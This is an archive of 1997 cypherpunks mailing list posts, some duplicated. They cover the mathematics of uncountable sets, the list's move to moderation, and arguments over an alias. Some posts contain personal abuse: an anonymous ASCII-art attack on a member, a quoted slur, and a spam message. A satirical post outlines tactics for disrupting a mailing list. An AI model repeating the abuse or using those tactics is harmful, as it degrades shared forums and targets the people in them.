 > examine the work they are ALL in the Complex domain, none of
 > them are Real's.

Only countably many real numbers, or members of any uncountable
set, are denumerable. It is the property of being uncountable,
rather than of being real or complex, which is important here.

In general, only countably many members of any uncountable set
can be precisely specified within any formal system, given names
comprised of strings of symbols, or other similar things.

 > Complex numbers deal with areas, not with lengths.

It is often convenient, such as when drawing contour maps, to
consider the complex numbers to be in 1-1 correspondence with the
points of the plane.  However, I wouldn't necessarily consider
regions of the complex plane to have "area" in the Euclidian
sense.

 > If there existed a Real for which we could not describe
 > this would imply that we could not draw a line of that
 > length.

We can't physically draw a line segment to arbitrary high
precision. We can conceive of the notion of line segments being
in 1-1 correspondence with the reals, but we can specify at most
countably many "finitely denumerable" line segments if we wish to
discuss their lengths individually.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:25:49 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <3.0.32.19970119160951.006c26ac@ricochet.net>
Message-ID: <32E2D795.4B0D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> One approach to the name question would be to eliminate
> "cypherpunks@toad.com" and force old/new subscribers to choose between
> "cypherpunks-edited" and "cypherpunks-unedited". The advantage I see is
> that it provides more accurate feedback about what people want; the present
> method provides information about the perceived value of unmoderation
> weighed against the bother of dealing with subscribing & unsubscribing. The
> disadvantage is that it's likely to eliminate many subscribers, and that it
> tends to abandon the "cypherpunks@toad.com" history which is, by now, ~5
> years old.

A good thought, Greg.  One problem, though.  My suspicion is that
Gilmore/Sandfort really wanted to have all the current subscribers
to the old unedited list to automatically be part of the new edited
list.  I don't think your possible approach would be acceptable to
anyone I know, forcing people to re-subscribe (and implying that those
who don't do anything would be unsubscribed, which would freak the
list owners out for sure).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 20:55:42 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701200455.UAA00370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> One approach to the name question would be to eliminate
> "cypherpunks@toad.com" and force old/new subscribers to choose between
> "cypherpunks-edited" and "cypherpunks-unedited". The advantage I see is
> that it provides more accurate feedback about what people want; the present
> method provides information about the perceived value of unmoderation
> weighed against the bother of dealing with subscribing & unsubscribing. The
> disadvantage is that it's likely to eliminate many subscribers, and that it
> tends to abandon the "cypherpunks@toad.com" history which is, by now, ~5
> years old.

A good thought, Greg.  One problem, though.  My suspicion is that
Gilmore/Sandfort really wanted to have all the current subscribers
to the old unedited list to automatically be part of the new edited
list.  I don't think your possible approach would be acceptable to
anyone I know, forcing people to re-subscribe (and implying that those
who don't do anything would be unsubscribed, which would freak the
list owners out for sure).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:29:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STEGO] Sphere packings
In-Reply-To: <199701191938.LAA32285@mailmasher.com>
Message-ID: <32E2D857.34EC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:

I haven't saved any of these posts, and after all this time, it
occurs to me that a complete collection of the caricatures, doable
on a standard keyboard, would make a nice children's playbook.

Has anyone thought of this?

> Tim C. May will.....
>          \|/
>         (*,*) Tim C. May
>        _m_-_m_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sun, 19 Jan 1997 17:38:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] One-time pads
Message-ID: <199701200138.SAA05836@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May is a pimply dweeb sitting at a computer 
chortling at his own imagined cleverness.

        ))))
       ))  OO  Timmy May
       6   (_)
       `____c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 19:03:04 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: AIDAS, SHMADIDAS
In-Reply-To: <199701200154.TAA06113@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970119183621.14346C-100000@crl3.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 19 Jan 1997 ichudov@algebra.com wrote:

> I would love to hear Sandy's statement as to whether AIDAS is Sandy 
> Sandfort or not. If Sandy says no, I will believe him, because his
> reputation has a longer time span than AIDAS's. 
> 
> In case Sandy says that AIDAS is not him, I will publicly retract my
> statement, which by the way I made to AIDAS privately (I have no idea
> why he posted it to the mailing list, although I do not really mind).

Normally, I would not comment one way or the other on this sort
of thing.  We have a whole alphabet soup of aliases out there and
I don't intend to waste time with denials.  Heck, it helps keep
an air of mystery about the list.  But Igor has been a fair and
reasoned contributor to this list, so as a personal favor I will
admit that I AM NOT AIDAS.  Sorry, but that's the truth.


 S a n d y

P.S.	I'm not Igor either.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:43:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970119094124.16633B-100000@crl9.crl.com>
Message-ID: <32E2DBA6.12D8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sun, 19 Jan 1997, Dale Thorn wrote:
> > Your/Gilmore's *renaming* of the original list, and co-opting of the
> > *original* name for the edited list is prima facie evidence of bad
> > faith,...

> Sophist, paranoid nonsense.  This one-month test is of a
> moderated *Cypherpunks* list.  So there was no renaming.
> The unedited list was a gimme for cry babies such as Dale.

Lookie here, folks.  This is the flaming jerk who'll be editing your
posts to the list.  Note that we have a NEW admission from the Sandy
man: the unedited list was NOT in fact a given.  BTW, John Gilmore
says just the opposite.

> When the test is complete, things will go back to the previous
> status if that's what folks want.  If not, Cypherpunks will
> continue as a moderated list (of some sort, further test may be
> conducted if list members want).

Again, contrary to Gilmore's statement(s).  Who is this guy, and is
he taking over Gilmore's persona or something?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cyberdude@iname.com
Date: Sun, 19 Jan 1997 18:49:50 -0800 (PST)
Subject: 'Making Money Fast"
Message-ID: <199701200249.SAA27748@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I took YOUR address from this news group, because it's obvious that you are aggressive and
"  WANT TO MAKE MONEY FAST ' 
For more information contact   cyberdude@iname.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 17:06:54 -0800 (PST)
To: frantz@netcom.com (Bill Frantz)
Subject: Re: Sandy and the Doc
In-Reply-To: <v03007809af0844db02a5@[204.31.235.152]>
Message-ID: <199701200101.TAA05711@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bill Frantz wrote:
> 
> At 12:16 AM -0800 1/19/97, Igor Chudov @ home wrote:
> >If you trust me, or someone else, like Prof. Dave Hayes, here's what
> >we can do: I establish a sendmail alias cypherpunks@algebra.com that
> >expands to, say, your address and also cypherpunks@toad.com.
> >
> >...
> >
> >If you indeed notice an impropriety, the digitally signed receipts
> >will be your proof that articles were submitted. As long as the
> >other readers trust me (or Dave Hayes, or whoever volunteers), you
> >will have a strong case even without relying on freudian slips.
> 
> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

That is correct, although only a very small fraction of mail is lost.

If a pattern would appear, however, that would be a strong argument.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sun, 19 Jan 1997 19:07:17 -0800 (PST)
To: cypherpunks
Subject: THIS IS THE LAST UNMODERATED MESSAGE TO CYPHERPUNKS
Message-ID: <199701200306.TAA28191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


OK, I think we're finally ready to go live with a moderated cypherpunks
list (modulo glitches).  Operators (well, Sandy) are standing by!

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sun, 19 Jan 1997 19:21:22 -0800 (PST)
To: cypherpunks, gnu
Subject: THIS IS THE FIRST MESSAGE TO THE MODERATED CYPHERPUNKS LIST
Message-ID: <199701200321.TAA28578@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If you see this, Sandy has approved it and forwarded it to the list.
Of course, this is modulo glitches and bugs.  It may take a few days
to get everything 100% right.  And the messages will undoubtedly arrive
on your site in a different order than the order in which they were sent
(due to queueing at various places, mostly on toad.com).

Welcome to (what I hope is) a more useful and less confrontative
cypherpunks list.  Now, can we get back to talking about cryptography?

	John Gilmore




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sun, 19 Jan 1997 19:40:55 -0800 (PST)
To: gnu@toad.com
Subject: THIS IS THE FIRST MESSAGE TO THE MODERATED CYPHERPUNKS LIST
Message-ID: <199701200340.TAA29072@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If you see this, Sandy has approved it and forwarded it to the list.
Of course, this is modulo glitches and bugs.  It may take a few days
to get everything 100% right.  And the messages will undoubtedly arrive
on your site in a different order than the order in which they were sent
(due to queueing at various places, mostly on toad.com).

Welcome to (what I hope is) a more useful and less confrontative
cypherpunks list.  Now, can we get back to talking about cryptography?

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 19:30:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise]
Message-ID: <199701200330.TAA25727@netcom22.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 >> One can construct the reals from the rationals quite easily
 >> using any of several well-known methods, such as
 >> equivalence classes of Cauchy sequences, or Dedikind cuts.

 > So you are saying that the Reals are a subset (ie can be
 > constructed from) of the Rationals?

Yes, the Reals can be constructed from the Rationals.  No, the
Reals are not a subset of the Rationals.

Fortunately, construction in mathematics is not simply limited to
the taking of subsets.  The Rationals can be constructed from the
Integers, for instance, by multiplication and the taking of
appropriate equivalence classes.

In fact, everything can be built out of two sets and the axioms
of Set Theory.

 > I can create a number which is not representable by the
 > ratio of two integers from two numbers which are
 > representable by ratios of two integers?

Er, no.  But you can create a number which is not representable
as a fraction as a limit point of very many fractions.

 > That's a nifty trick indeed, I am really impressed.

Thank-you. :)

 > Cauchy produced a test for testing convergence. I fail to
 > see the relevance here, but please expound...

Cauchy sequences are useful for adding limit points to a set of
things because their convergence criteria is very simple, and it
is conceptually easy to take all Cauchy sequences whose elements
come from a given set.

If we then consider equivalence classes of those Cauchy sequences
which converge to the same limit, and consider an element of the
original set to correspond to the class containing the sequence
all of whose members are that element, we can consider the
classes to form a "completion" of the original set by addition of
all its limit points.

Similarly, the Reals are the completion of the Rationals.

 > Dedekind Cut:

 > "Thus a nested sequence of rational intervals give rise to
 > a seperation of all rational numbers into three classes."

 > Just exactly where does this allow us to create Reals?

Finite ordered sets have maximum elements.  Bounded infinite
ordered sets have Least Upper Bounds, which may be a limit point
as opposed to being an actual member of the set.

Dedekind Cuts are a simple abstraction, often used to construct
the Reals from the Rationals in undergraduate calculus courses.
Conceptually, one makes a single "cut" in the set of Rationals,
dividing it into two parts, all of the members of one part being
greater than all of the members of the other.  The number of ways
of doing this correspond to the Reals.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Sun, 19 Jan 1997 19:55:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise]
Message-ID: <199701200355.TAA29371@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 >> One can construct the reals from the rationals quite easily
 >> using any of several well-known methods, such as
 >> equivalence classes of Cauchy sequences, or Dedikind cuts.

 > So you are saying that the Reals are a subset (ie can be
 > constructed from) of the Rationals?

Yes, the Reals can be constructed from the Rationals.  No, the
Reals are not a subset of the Rationals.

Fortunately, construction in mathematics is not simply limited to
the taking of subsets.  The Rationals can be constructed from the
Integers, for instance, by multiplication and the taking of
appropriate equivalence classes.

In fact, everything can be built out of two sets and the axioms
of Set Theory.

 > I can create a number which is not representable by the
 > ratio of two integers from two numbers which are
 > representable by ratios of two integers?

Er, no.  But you can create a number which is not representable
as a fraction as a limit point of very many fractions.

 > That's a nifty trick indeed, I am really impressed.

Thank-you. :)

 > Cauchy produced a test for testing convergence. I fail to
 > see the relevance here, but please expound...

Cauchy sequences are useful for adding limit points to a set of
things because their convergence criteria is very simple, and it
is conceptually easy to take all Cauchy sequences whose elements
come from a given set.

If we then consider equivalence classes of those Cauchy sequences
which converge to the same limit, and consider an element of the
original set to correspond to the class containing the sequence
all of whose members are that element, we can consider the
classes to form a "completion" of the original set by addition of
all its limit points.

Similarly, the Reals are the completion of the Rationals.

 > Dedekind Cut:

 > "Thus a nested sequence of rational intervals give rise to
 > a seperation of all rational numbers into three classes."

 > Just exactly where does this allow us to create Reals?

Finite ordered sets have maximum elements.  Bounded infinite
ordered sets have Least Upper Bounds, which may be a limit point
as opposed to being an actual member of the set.

Dedekind Cuts are a simple abstraction, often used to construct
the Reals from the Rationals in undergraduate calculus courses.
Conceptually, one makes a single "cut" in the set of Rationals,
dividing it into two parts, all of the members of one part being
greater than all of the members of the other.  The number of ways
of doing this correspond to the Reals.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aidas@ixsrs4.ix.netcom.com
Date: Sun, 19 Jan 1997 17:37:07 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701200127.TAA05918@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970119193510.10335A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997, Igor Chudov @ home wrote:

> i agree with dale thorn that you are sandy sandfort.
> 
> igor

Believe what you will.

You only prove the old saying that goes simply, "People are stupid."
Exactly why, aside from the obvious unwarranted and inaccurate assumption,
is left as an exercise to the reader. Think of it as an intelligence test.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 17:55:05 -0800 (PST)
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <199701162142.VAA06080@server.test.net>
Message-ID: <199701200151.TAA06089@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


my predictions: 

	1) Dale Thorn will become another Kagalenko and will mailbomb mods
	2) 90% of cypherpunks-moderated will be about moderation
	   and censorship
	3) there will be massive openings of alternative cypherpunks
	   mailing lists, all doomed to fail
	4) several alt.* newsgroups like alt.cypherpunks will be created
	5) main business of freedom-knights will be shitting and spitting 
	   at cypherpunks in alt.cypherpunks
	6) moderators will spend increasing amounts of time on their work
	7) crossposting between alt.cypherpunks and mail.cypherpunks
	   will be prohibited by alt.cypherpunks FAQ, posted monthly
	   by Dr. John Martin Grubor

igor

Adam Back wrote:
> 
> 
> It's occured to me recently that Dimitri's posts are not being read
> correctly, it is not the content which is the point, nor the
> superficial lack of crypto relevance.
> 
> Dimitri is an intelligent guy, and has a high level of crypto
> expertise (he has a PhD on a cryptography topic).  It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.  His
> current topic under investigation is Denial of Service (DoS) attacks
> on mailing lists.
> 
> Denial of service on mailing lists is a complex business, and requires
> expert human input to be done properly.
> 
> Dimitri has systematically explored these types of posting behaviour:
> 
> 1. Posting only crypto relevant material.
> 2. Interspersing crypto relevant posts with hand personalised flame bait.
> 3. Interspersing crypto relevant posts with bot generated flame bait.
> 4. Interspersing crypto relevant posts with news stories.
> 5. Posting only non crypto relevant material.
> 
> The alert reader will recall these phases of posting style (currently
> we are in sub experiment 5, the other phases have occured over a
> protracted period of intensive experimentation, and some newer readers
> may have missed earlier phases).
> 
> There were other experiments which may or may not have been part of
> Dimitri's series of DoS experiments:
> 
> 6. Subscribing the list to itself (testing list resilience to recursion)
> 
> 7. Forging posts to carefully selected newsgroups with
> "cypherpunks@toad.com" as the sender (this indirectly adds user
> "cypherpunks@toad.com" to many direct marketing lists as direct
> marketers make use of email addresses scanned from newsgroups).
> 
> 8. The "UNSCRIVE" and other spelling variations of "unsubscribe" epidemic,
> and ensuing instructions and discussion
> 
> 9. Subscribing the list to other lists
> 
> 10. Bot generated flame bait posted anonymously (with ascii art)
> 
> >From the post I am following up to the reader will observe an oblique
> reference to the transition from phase 4 of the experiments to the
> current phase, phase 5 (the reader will also note references to experimental
> results c and d described below):
> 
> Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > One memorable "censorship" incident occurred when the lying cocksucker
> > John Gilmore (spit) forcibly unsubscribed me from this list because he
> > didn't like the contents of my submissions - or did you forget already?
> > Look up Declan's disgraceful writeup on Netly News archives.
> > 
> > At that time most valuable contributors to this list (such as myself)
> > resolved not to contribute crypto-relevant content to a censored forum.
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> More widely read cypherpunks will know that Dimitri has performed
> similar experiments in other fora -- his systematic experiments in
> numerous USENET newsgroups resulted in the his receiving the
> prestigious KOTM ("Kook Of The Month") award.
> 
> His main experimental results to date with the cypherpunks mailing
> list series of experiments have been:
> 
> a) many cypherpunks publically announcing kill filing him
> 
> b) numerous cypherpunks suggesting censoring him (a particularly
> interesting result considering the libertarian leanings of many on
> this list)
> 
> c) the outstanding experimental result of being forcibly unsubscribed
> from the list, and of being barred from resubscribing by John Gilmore.
> (creator of alt.* USENET newsgroup hierarchy, and well know freespeech
> advocate)
> 
> d) another interesting, incidental experimental result was provided by
> Declan McCullagh in his Netly News piece in prematurely, and entirely
> unwittingly, publishing some of Dimitri's expermiental data-set.
> 
> e) the main experimental result: the list shortly moving to a
> moderated form, seemingly at the request of Sandy Sandfort, with
> agreement from John Gilmore.
> 
> These experimental results are quite significant, when taken in the
> context of the anti-censorship, libertarian, pro-freespeech
> environment of the cypherpunks mailing list.  Dimitri should be
> congratulated on his outstanding work.
> 
> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.  My suggestions for
> interesting experiments during the moderated phase are:
> 
> 1. Testing the limits of Dale Thorn's anti-censorship sentiments (for
> those who don't read Dale, he is subscribed to "cypherpunks-unedited"
> in preparation for the moderation).
> 
> 2. Testing Sandy Sandforts rejection criteria.
> 
> 3. Testing Sandy Sandforts rejection rate for long crypto relevant
> posts interspersed with irrelevant flame bait.
> 
> 4. Testing Sandy Sandforts rejection rate for posts with flame bait .sigs
> 
> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.
> 
> Adam
> --
> print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 20:56:07 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
Message-ID: <199701200456.UAA00406@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


my predictions: 

	1) Dale Thorn will become another Kagalenko and will mailbomb mods
	2) 90% of cypherpunks-moderated will be about moderation
	   and censorship
	3) there will be massive openings of alternative cypherpunks
	   mailing lists, all doomed to fail
	4) several alt.* newsgroups like alt.cypherpunks will be created
	5) main business of freedom-knights will be shitting and spitting 
	   at cypherpunks in alt.cypherpunks
	6) moderators will spend increasing amounts of time on their work
	7) crossposting between alt.cypherpunks and mail.cypherpunks
	   will be prohibited by alt.cypherpunks FAQ, posted monthly
	   by Dr. John Martin Grubor

igor

Adam Back wrote:
> 
> 
> It's occured to me recently that Dimitri's posts are not being read
> correctly, it is not the content which is the point, nor the
> superficial lack of crypto relevance.
> 
> Dimitri is an intelligent guy, and has a high level of crypto
> expertise (he has a PhD on a cryptography topic).  It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.  His
> current topic under investigation is Denial of Service (DoS) attacks
> on mailing lists.
> 
> Denial of service on mailing lists is a complex business, and requires
> expert human input to be done properly.
> 
> Dimitri has systematically explored these types of posting behaviour:
> 
> 1. Posting only crypto relevant material.
> 2. Interspersing crypto relevant posts with hand personalised flame bait.
> 3. Interspersing crypto relevant posts with bot generated flame bait.
> 4. Interspersing crypto relevant posts with news stories.
> 5. Posting only non crypto relevant material.
> 
> The alert reader will recall these phases of posting style (currently
> we are in sub experiment 5, the other phases have occured over a
> protracted period of intensive experimentation, and some newer readers
> may have missed earlier phases).
> 
> There were other experiments which may or may not have been part of
> Dimitri's series of DoS experiments:
> 
> 6. Subscribing the list to itself (testing list resilience to recursion)
> 
> 7. Forging posts to carefully selected newsgroups with
> "cypherpunks@toad.com" as the sender (this indirectly adds user
> "cypherpunks@toad.com" to many direct marketing lists as direct
> marketers make use of email addresses scanned from newsgroups).
> 
> 8. The "UNSCRIVE" and other spelling variations of "unsubscribe" epidemic,
> and ensuing instructions and discussion
> 
> 9. Subscribing the list to other lists
> 
> 10. Bot generated flame bait posted anonymously (with ascii art)
> 
> >From the post I am following up to the reader will observe an oblique
> reference to the transition from phase 4 of the experiments to the
> current phase, phase 5 (the reader will also note references to experimental
> results c and d described below):
> 
> Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > One memorable "censorship" incident occurred when the lying cocksucker
> > John Gilmore (spit) forcibly unsubscribed me from this list because he
> > didn't like the contents of my submissions - or did you forget already?
> > Look up Declan's disgraceful writeup on Netly News archives.
> > 
> > At that time most valuable contributors to this list (such as myself)
> > resolved not to contribute crypto-relevant content to a censored forum.
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> More widely read cypherpunks will know that Dimitri has performed
> similar experiments in other fora -- his systematic experiments in
> numerous USENET newsgroups resulted in the his receiving the
> prestigious KOTM ("Kook Of The Month") award.
> 
> His main experimental results to date with the cypherpunks mailing
> list series of experiments have been:
> 
> a) many cypherpunks publically announcing kill filing him
> 
> b) numerous cypherpunks suggesting censoring him (a particularly
> interesting result considering the libertarian leanings of many on
> this list)
> 
> c) the outstanding experimental result of being forcibly unsubscribed
> from the list, and of being barred from resubscribing by John Gilmore.
> (creator of alt.* USENET newsgroup hierarchy, and well know freespeech
> advocate)
> 
> d) another interesting, incidental experimental result was provided by
> Declan McCullagh in his Netly News piece in prematurely, and entirely
> unwittingly, publishing some of Dimitri's expermiental data-set.
> 
> e) the main experimental result: the list shortly moving to a
> moderated form, seemingly at the request of Sandy Sandfort, with
> agreement from John Gilmore.
> 
> These experimental results are quite significant, when taken in the
> context of the anti-censorship, libertarian, pro-freespeech
> environment of the cypherpunks mailing list.  Dimitri should be
> congratulated on his outstanding work.
> 
> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.  My suggestions for
> interesting experiments during the moderated phase are:
> 
> 1. Testing the limits of Dale Thorn's anti-censorship sentiments (for
> those who don't read Dale, he is subscribed to "cypherpunks-unedited"
> in preparation for the moderation).
> 
> 2. Testing Sandy Sandforts rejection criteria.
> 
> 3. Testing Sandy Sandforts rejection rate for long crypto relevant
> posts interspersed with irrelevant flame bait.
> 
> 4. Testing Sandy Sandforts rejection rate for posts with flame bait .sigs
> 
> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.
> 
> Adam
> --
> print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 17:58:49 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: AIDAS, SHMADIDAS
In-Reply-To: <Pine.LNX.3.95.970119193510.10335A-100000@ixsrs4.ix.netcom.com>
Message-ID: <199701200154.TAA06113@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


aidas@ixsrs4.ix.netcom.com wrote:
> On Sun, 19 Jan 1997, Igor Chudov @ home wrote:
> > i agree with dale thorn that you are sandy sandfort.
> > 
> > igor
> 
> Believe what you will.
> 
> You only prove the old saying that goes simply, "People are stupid."
> Exactly why, aside from the obvious unwarranted and inaccurate assumption,
> is left as an exercise to the reader. Think of it as an intelligence test.

My wild guess is, you wanted to say that I am stupid. You think that my
stupidity implies that people are stupid. OK.

AIDAS will disappear next day, but Sandy will not. 

I would love to hear Sandy's statement as to whether AIDAS is Sandy 
Sandfort or not. If Sandy says no, I will believe him, because his
reputation has a longer time span than AIDAS's. 

In case Sandy says that AIDAS is not him, I will publicly retract my
statement, which by the way I made to AIDAS privately (I have no idea
why he posted it to the mailing list, although I do not really mind).

If Sandy chooses not to comment, I will understand.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 19:10:37 -0800 (PST)
To: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Subject: Re: Numbers we cannot talk about
Message-ID: <199701200310.TAA28307@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Elliott wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> > At 10:48 PM 1/18/1997, Secret Squirrel wrote:
> > >Is it REALLY true that there are real numbers that cannot be
> > >generated by any algorithm? Some guy said that since the set of
> > >algorithms is countable, but the set of real numbers is more than
> > >countable, there must be some numbers for which there is no
> > >algorithms that generate them.
> > 
> > There are sets of real numbers whose existence we can prove, but which
> > we cannot otherwise describe.  This is more extreme than being
> > "generated by an algorithm".  We can't even tell somebody which
> > numbers to generate!  (I take "to generate" here to mean "to compute a
> > decimal approximation.")
> > 
> > The set of real numbers is uncountable as is the set of subsets of the
> > real numbers.  Yet, we have only countably infinite ways to describe
> > sets of numbers.
> > 
> > All sets of numbers which we can describe can be described with a
> > finite set of symbols.  (Human beings are unable to distinguish
> > between an infinite number of states.)  The set of combinations of
> > this finite set is infinite, but countable.
> > 
> 
> Perhaps the axioms in set theory that tells us that the integers
> have an uncountable number of subsets is, in point of fact, false.
> Perhaps only those subsets of the integers that can be described
> by an algorithm exist (actually, contrary to what the usual axioms of
> set theory assert).

It is very interesting. My limited understanding of this approach is
that they say that only things that can be constructed by some
positive method exist (please correct me if I am mistaken).

But the question is, where do they stop and what exactly is "construction?"

Say, does sqrt(2) "exist" in their sense of the world? We know we can
calculate any given number of digits in it, is that enough?

> We know that the set of axioms which tell us that there are unaccountably
> many reals can be satisfied by a countable model!
> (Downward Louwenheim Skolem Tarski theorem.)
> 
> I know that Standard mathematical axioms yields lots of interesting
> results, but when it talks of the infinite and we are dealing
> with a practical subject like cryptography or even physics it
> should not be taken too seriously. (With respect to uncountable sets.)

Some of the applications of these theories are very relevant. For
example, a theorem that proves that it is impossible to write a program
that would determine if any other program would stop or loop forever, is
very relevant and interesting.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 19:43:46 -0800 (PST)
To: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Subject: Re: Numbers we cannot talk about
Message-ID: <199701200343.TAA29149@toad.com>
